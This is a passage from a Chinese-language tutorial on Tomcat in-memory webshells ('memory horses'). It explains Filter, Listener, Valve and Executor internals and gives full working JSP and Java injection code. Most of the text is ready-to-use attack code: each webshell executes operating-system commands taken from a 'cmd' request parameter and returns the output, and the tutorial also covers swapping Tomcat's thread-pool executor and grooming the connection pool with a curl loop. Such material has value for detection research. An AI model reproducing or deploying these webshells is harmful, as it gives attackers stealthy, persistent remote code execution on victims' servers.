IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null ; Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain" ); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest" ); f.setAccessible(true ); ThreadLocal threadLocal = (ThreadLocal) f.get(null ); if (threadLocal != null && threadLocal.get() != null ) { servletRequest = (ServletRequest) threadLocal.get(); } if (servletRequest != null ) { return servletRequest.getServletContext(); } return null ; } private static StandardContext getStandardContext (ServletContext servletContext) throws NoSuchFieldException, IllegalAccessException { StandardContext standardContext = null ; while (standardContext == null ) { Field f = servletContext.getClass().getDeclaredField("context" ); f.setAccessible(true ); Object object = f.get(servletContext); if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { standardContext = (StandardContext) object; return standardContext; } } return null ; } @Override public void init (ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { servletResponse.setContentType("text/html" ); PrintWriter out = servletResponse.getWriter(); String cmd = servletRequest.getParameter("cmd" ); if (cmd != null ) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\a" ); String result = scanner.hasNext() ? scanner.next() : "" ; out.println(result); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }
Filter 型内存马 Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
使用 ServletContext 的 addFilter/createFilter 方法注册;
使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。
参考 ApplicationContext#addFilter 的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 private FilterRegistration.Dynamic addFilter (String filterName, String filterClass, Filter filter) throws IllegalStateException { if (filterName == null || filterName.equals("" )) { throw new IllegalArgumentException ( sm.getString("applicationContext.invalidFilterName" , filterName)); } checkState("applicationContext.addFilter.ise" ); FilterDef filterDef = context.findFilterDef(filterName); if (filterDef == null ) { filterDef = new FilterDef (); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null ) { return null ; } } if (filter == null ) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); } return new ApplicationFilterRegistration (filterDef, context); }
可以看到,这个方法的大致过程为:
创建了一个 FilterDef 对象,将 filterName、filterClass、filter 对象初始化进去;
使用 StandardContext 的 addFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个 Hashmap filterDefs 中
new 了一个 ApplicationFilterRegistration 对象并且返回
我们可以参照上述过程写出对应的内存马注册代码:
1 2 3 4 5 FilterDef filterDef = new FilterDef ();filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
然而这个过程并没有将这个 Filter 放到 FilterChain 中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter。
这时我们肯定要想,能不能直接操纵 FilterChain 呢?FilterChain 在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,这个类提供了一个 addFilter 方法添加 Filter,这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。答案是可以,但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的。
那 Tomcat 是如何处理一次请求对应的 FilterChain 的呢?在 ApplicationFilterFactory 的 createFilterChain 方法中,可以看到流程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null ) { return null ; } ApplicationFilterChain filterChain = null ; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap[] filterMaps = context.findFilterMaps(); if (filterMaps == null || filterMaps.length == 0 ) { return filterChain; } DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null ; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null ) { requestPath = attribute.toString(); } String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersURL(filterMap, requestPath)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersServlet(filterMap, servletName)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } return filterChain; }
首先在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配。
1 2 3 4 5 6 7 8 9 10 11 12 FilterMap[] filterMaps = context.findFilterMaps(); for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersURL(filterMap, requestPath)) { continue ; } }
这里 StandardContext#findFilterMaps 实际上返回的是 StandardContext#filterMaps 中的 FilterMap。
1 2 3 public FilterMap[] findFilterMaps() { return filterMaps.asArray(); }
如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig,如果获取到 filterConfig,则将其加入到 filterChain 中。
1 2 3 4 5 6 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; }
这里 StandardContext#findFilterConfig 是从 StandardContext#filterConfigs 中根据 filterMap.getFilterName 获取的。
1 2 3 4 5 public FilterConfig findFilterConfig (String name) { synchronized (filterDefs) { return filterConfigs.get(name); } }
之后将会调用 org.apache.catalina.core.ApplicationFilterChain#addFilter 函数,参数为前面匹配到的 FilterConfig。
1 filterChain.addFilter(filterConfig);
ApplicationFilterChain#addFilter 函数将 FilterConfig 添加到 filters 数组中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void addFilter (ApplicationFilterConfig filterConfig) { for (ApplicationFilterConfig filter : filters) { if (filter == filterConfig) { return ; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig [n + INCREMENT]; System.arraycopy(filters, 0 , newFilters, 0 , n); filters = newFilters; } filters[n++] = filterConfig; }
后续处理请求的时候会在 org.apache.catalina.core.ApplicationFilterChain#internalDoFilter 函数依次根据 filters 数组中的 FilterConfig 调用对应的 doFilter 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 if (pos < n) {ApplicationFilterConfig filterConfig = filters[pos++];try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if (Globals.IS_SECURITY_ENABLED) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object [] { req, res, this }; SecurityUtil.doAsPrivilege("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException (sm.getString("filterChain.filter" ), e); } return ; }
通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要:
这样程序创建时就可以找到添加的 Filter 了。我们不难写出对应的 Filter 型内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.util.Map" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% final String name = "FilterMemShell" ; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null ){ Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ){ byte [] bytes = new byte [1024 ]; Process process = new ProcessBuilder ("cmd" ,"/c" ,req.getParameter("cmd" )).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String (bytes,0 ,len)); process.destroy(); return ; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { } }; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } %>
Listener 型内存马 在应用中可能调用的监听器如下:
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
ServletRequestListener:对 Request 请求进行监听(创建、销毁)
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
可以看到 Listener 也是为一次访问的请求或生命周期进行服务的,在上述每个不同的接口中,都提供了不同的方法,用来在监听的对象发生改变时进行触发。而这些类接口,实际上都是 java.util.EventListener 的子接口。
这里我们看到,在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public interface ServletRequestListener extends EventListener { void requestDestroyed (ServletRequestEvent sre) ; void requestInitialized (ServletRequestEvent sre) ; }
Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersList 属性中,同样可以使用 StandardContext 的相关 add 方法添加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public void addApplicationEventListener (Object listener) { applicationEventListenersList.add(listener); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { public void requestDestroyed (ServletRequestEvent sre) { } public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd" ) != null ) { InputStream in = null ; try { in = Runtime.getRuntime().exec(new String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\n" ); String out = s.hasNext() ? s.next() : "" ; Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request) requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) { } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } } } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener myListener = new MyListener (); context.addApplicationEventListener(myListener); %>
基于 Tomcat 中间件 Valve 型内存马 Pipeline/Valve 是 Tomcat(Catalina)在 容器层级 (Engine/Host/Context/Wrapper)上实现的“拦截-处理链”: 每层容器有一条 Pipeline ,里面串着多个 Valve (阀门);请求按顺序流经这些 Valve,最后由该层的 Basic Valve 把控制权交给下一层,直到命中目标 Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Socket → Http11Processor → CoyoteAdapter │ │ │ 转为 Catalina 的 │ 调用 Engine 的管线 ▼ Request/Response ▼ [Engine].Pipeline: [自定义 Valve]* → StandardEngineValve │ 选择 Host ▼ [Host].Pipeline: [自定义 Valve]* → StandardHostValve │ 选择 Context ▼ [Context].Pipeline: [自定义 Valve]* → StandardContextValve │ 选择 Wrapper / 构建 FilterChain ▼ [Wrapper].Pipeline: [自定义 Valve]* → StandardWrapperValve │ 分配/加载 Servlet → 执行 FilterChain → Servlet.service() ▼ 返回上一层,按栈回收/收尾
每个容器(Container) ——Engine、Host、Context、Wrapper——各自有一条 Pipeline 。
每条 Pipeline 里有若干可插拔的 Valve (你配置的)和一个Basic Valve (该容器的“标准”阀,如 StandardHostValve),顺序是:先执行你加的,再执行 Basic 。
Basic Valve 的职责 是完成本容器的核心工作,并把请求传递到下一级容器 的 Pipeline(例如:Engine → Host,Host → Context,Context → Wrapper)。
在这个过程中,Valve 是容器级 拦截器(Tomcat 专有,Catalina 的 Pipeline 里)。我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的 pipeline 中插入一个我们自定义的 valve,就可以在其中对相应的请求进行拦截并执行我们想要的功能。
Pipeline 接口存在 addValve 方法,其实现类 org.apache.catalina.core.StandardPipeline 实现了这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 @Override public void addValve (Valve valve) { if (valve instanceof Contained) { ((Contained) valve).setContainer(this .container); } if (getState().isAvailable()) { if (valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error(sm.getString("standardPipeline.valve.start" ), e); } } } if (first == null ) { first = valve; valve.setNext(basic); } else { Valve current = first; while (current != null ) { if (current.getNext() == basic) { current.setNext(valve); valve.setNext(basic); break ; } current = current.getNext(); } } container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve); }
要想调用 Pipeline#addValve 方法注册自定义的 Valve 则需要先获取容器,而 org.apache.catalina.core.ContainerBase#getPipeline 可以获取当前容器的 Pipeline:
1 2 3 4 5 6 7 8 9 10 11 12 13 @Override public Pipeline getPipeline () { return this .pipeline; }
由于 StandardContext 本身就是一个容器,因此我们只需要调用 StandardContext 的 getPipeline 方法获取它的 Pipeline 然后将自定义的 Valve 注册进去即可。
1 standardContext.getPipeline().addValve(new MyValve ());
接下来是如何定义一个 Valve。前面 addValve 函数的参数是 Valve 类型,这里 Valve 是一个接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 public interface Valve { Valve getNext () ; void setNext (Valve valve) ; void backgroundProcess () ; void invoke (Request request, Response response) throws IOException, ServletException; boolean isAsyncSupported () ; }
因此我们需要自己实现这些东西:
getNext()/setNext():维护链表里的“下一个 Valve”指针;
backgroundProcess():周期任务的默认处理;
isAsyncSupported():异步支持标志;
实际上在 Tomcat 中 ValveBase 已经实现 了上面的大部分方法,常见自定义只需重写 invoke() 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class MyValve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { try { String cmd = request.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } catch (Exception e) { } } }
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="javax.servlet.*" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <% class MyValve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { try { String cmd = request.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } catch (Exception e) { } } }%> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); standardContext.getPipeline().addValve(new MyValve ()); out.println("inject success" ); %>
Executor 型内存马 在 Tomcat 架构中,Connector 用于和客户端交互(socket 通信),承担了 HTTP 服务器的功能。Connector 主要由 ProtocolHandler 与 Adapter 构成。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Client │ TCP ▼ [Connector (Catalina) org.apache.catalina.connector.Connector] ├─ 持有:ProtocolHandler (Coyote) ← 真正负责监听/协议解析 │ | 例如 org.apache.coyote.http11.Http11NioProtocol │ | │ ├─ Endpoint (util.net) org.apache.tomcat.util.net.NioEndpoint ← 传输层 │ │ ├─ Acceptor (阻塞 accept 新连接,注册到 Poller) │ │ ├─ Poller (Selector 轮询就绪事件) │ │ ├─ LimitLatch (并发连接闸,配合 maxConnections) │ │ └─ SocketProcessor (把就绪 socket 封成任务 → 交给 Executor) │ │ └─ Executor (线程池:内部私有 或 共享 <Executor>)→ Executor.execute(...) │ └─ Processor (Coyote) org.apache.coyote.http11.Http11Processor ← 应用层 HTTP/1.1 解析 │ └─ Adapter → CoyoteAdapter (Catalina) → Pipeline/Valve → Servlet/Filter
Connector :对外的“HTTP 服务器”组件,负责监听端口、接收连接、读写字节流。它不直接跑 Servlet,而是把请求交给内部的容器(Catalina)去处理。
ProtocolHandler :Connector 的核心实现,负责传输层 和应用层协议 两部分。典型实现是 **Http11NioProtocol**(HTTP/1.1 + Java NIO)。
Endpoint(NioEndpoint) :负责接收连接、非阻塞轮询与字节读写 ;启动时会创建 Acceptor 与 Poller 线程 。
Acceptor :阻塞在 ServerSocketChannel.accept(),接到新连接后调用 setSocketOptions() 并把通道注册给 Poller。线程名通常形如 http-nio-8080-Acceptor-0。
Poller :Poller 基于 Selector 做就绪事件轮询 ,并把就绪 Socket 包装为任务(SocketProcessor)投递给线程池 ;它自身不做业务解析。
LimitLatch :并发连接闸门 。能被“获取”到固定次数,其余请求进入 FIFO 等待,直到有配额归还。用于实现 maxConnections 限制的底层原语之一一。
SocketProcessor(任务) :从 Poller 交付的 socket 包装成 Runnable,投递到 Executor 。在 doRun() 中调用协议栈处理。
Executor(线程池) :真正执行 SocketProcessor 的线程池。未显式配置 <Executor> 时,Connector 会使用私有内部线程池 ;配置了共享 <Executor> 时,以后者为准。
Processor(Http11Processor) :负责解析请求行/首部/包体、处理 keep-alive/pipeline/期望机制等,然后经 CoyoteAdapter 进入 Catalina 容器。
Adapter :把 Coyote(连接器侧)的请求对象转成 Catalina(容器侧)能理解的请求,并把处理结果再适配回去,典型类是 **CoyoteAdapter**。
在 Tomcat 中 Executor 由 Service 维护,Service 配了 <Executor> 就让该 Service 下所有 Connector/Endpoint 共用这个线程池;没配的话每个 Endpoint 各自新建私有线程池,互不共享。
当 Poller 线程发现某个 socket 就绪,把它打包成任务交给线程池执行,调用栈如下:
1 2 3 4 5 at org.apache.tomcat.util.threads.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1376) at org.apache.tomcat.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:1288) at org.apache.tomcat.util.net.NioEndpoint$Poller.processKey(NioEndpoint.java:781) at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:748) at java.lang.Thread.run(Thread.java:748)
其中 AbstractEndpoint#processSocket 把任务要么直接在当前线程执行 ,要么(常见)派发给线程池 。但是对于 HTTP 请求则会走 派发路径。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 public boolean processSocket (SocketWrapperBase<S> socketWrapper, SocketEvent event, boolean dispatch) { try { if (socketWrapper == null ) { return false ; } SocketProcessorBase<S> sc = null ; if (processorCache != null ) { sc = processorCache.pop(); } if (sc == null ) { sc = createSocketProcessor(socketWrapper, event); } else { sc.reset(socketWrapper, event); } Executor executor = getExecutor(); if (dispatch && executor != null ) { executor.execute(sc); } else { sc.run(); } } catch (RejectedExecutionException ree) { getLog().warn(sm.getString("endpoint.executor.fail" , socketWrapper), ree); return false ; } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLog().error(sm.getString("endpoint.process.fail" ), t); return false ; } return true ; }
这里的 executor 是 endpoint 自己启动的 ThreadPoolExecutor 类,接着调用了 org.apache.tomcat.util.threads.ThreadPoolExecutor#execute。
因此我们可以创建一个恶意的 Executor 类继承 ThreadPoolExecutor,并重写其中的 execute 方法,然后通过 AbstractEndpoint#setExecutor 将原本的 executor 替换为我们构造的恶意 executor,那么在调用该方法的时候将会执行恶意代码。
1 2 3 4 5 6 7 8 9 private Executor executor = null ;public void setExecutor (Executor executor) { this .executor = executor; this .internalExecutor = (executor == null ); }
这里 AbstractEndpoint 是一个抽象类,通常 Tomcat 中真正实例化的是 org.apache.tomcat.util.net.NioEndpoint,我们可以通过对象搜索找到一条获取 NioEndpoint 对象的路径。
下面是一条可行路径:
1 2 3 4 Thread(名字形如 http-nio-8080-Acceptor) └─ target (Runnable) = Acceptor/AbstractEndpoint$Acceptor ├─ endpoint 字段 → 指向 NioEndpoint └─ 或 this$0 外部引用 → 同样指向 NioEndpoint(非静态内部类的合成字段)
Tomcat 给每个 Connector 起了有规律的线程名(http-nio-<port>-Acceptor / Poller)。这些线程的 target 就是 Acceptor/Poller 对象;而 Acceptor 是 AbstractEndpoint 的内部类,持有对外部 Endpoint 的引用 (有的版本字段名就是 endpoint,有的由编译器生成为 this$0),所以顺着这条链就能拿到 NioEndpoint。
最终我们可以通过下面这段代码注册内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public Object getStandardService () { Thread[] threads = (Thread[]) this .getField(Thread.currentThread().getThreadGroup(), "threads" ); for (Thread thread : threads) { if (thread == null ) { continue ; } if ((thread.getName().contains("Acceptor" ))) { Object target = this .getField(thread, "target" ); Object nioEndPoint = null ; try { nioEndPoint = getField(target, "endpoint" ); } catch (Exception e) { } if (nioEndPoint == null ) { try { nioEndPoint = getField(target, "this$0" ); if (nioEndPoint == null ) continue ; return nioEndPoint; } catch (Exception e) { } } else { return nioEndPoint; } } } return new Object (); } NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor" );threadexcutor exe = new threadexcutor (exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());nioEndpoint.setExecutor(exe);
虽然现在我们可以注册 Executor 内存马,但是还是无法解决内存马的通信问题。
这是因为标准的 ServletRequest 需要经过 Adapter 的封装后才可获得,这里还在 Endpoint 阶段,其后面封装的 ServletRequest 和 ServletResponse 是不能直接获取的。因此我们需要寻找底层与请求数据处理相关的结构来实现通信。
nioChannels 是 NioEndpoint 里的一个 对象池(池化缓存) ,类型是 SynchronizedStack<NioChannel>。它只存“闲置 的 NioChannel”,也就是已经关闭或暂时不用 的连接包装对象。这样下一次再有新连接进来时,端点优先从池子里 pop() 复用 一个旧的 NioChannel,避免频繁 new 和随之而来的 GC 压力。
其中 stack 成员是 nioChannels 的底层数组,也就是真正存放缓存对象的地方。当一条连接刚刚关闭并回收到池 时,NioChannel 及其关联对象(NioSocketWrapper → Http11InputBuffer 等)会被重置 但不会立刻清零底层字节数组 。因此我们可以获取到里面残留的数据,从中提取出需要执行的命令 :
1 2 3 4 5 6 7 NioEndpoint └─ nioChannels = SynchronizedStack<NioChannel> ← 只放“闲置/回收”的连接对象 └─ NioChannel (Closed) ├─ socketWrapper = NioSocketWrapper (Closed) └─ appReadBufHandler / Http11InputBuffer └─ byteBuffer = HeapByteBuffer[pos=0 lim=0 cap=16384] └─ hb (byte[]) = "GET /aaa ...\r\nconnection: closee\r\n\r\n"
大多数情况下我们看到 nioChannels 的 stack 数组中的元素都是 null,这是因为 HTTP/1.1 默认长连接(keep-alive) ,连接不会马上关闭,自然不会把 NioChannel 放回对象池,导致对象池是空的。
解决办法是先通过下面这条命令快速发生多个带有 Connection: close 的连接请求,让“每个请求用完就关闭”,促使 NioChannel 频繁被 push 回池 。
1 2 3 for i in {1..2}; do curl -s -o /dev/null --http1.1 -H "Connection: close" http://127.0.0.1:8080/aaa & done ; wait
这样导致对象池非空,后续请求也就会复用池中的对象 ,从而实现通信。当然这里的复用也不是 100% 就能复用的,一个数据包可能得发几次才能复用(堆风水)。
另外由于 Tomcat 在后续处理数据包的时候由在缓冲区内部做了一些特殊操作,导致数据包中所请求头的最后一个字符会重复一个。实际通信的时候需要忽略这个重复的字符。
1 2 3 4 5 6 GET /aaa HTTP/1.1 host:127.0.0.1:80800 user-agent:curl/7.81.00 accept:*/** connection:closee
最终我们获取请求数据的代码如下:
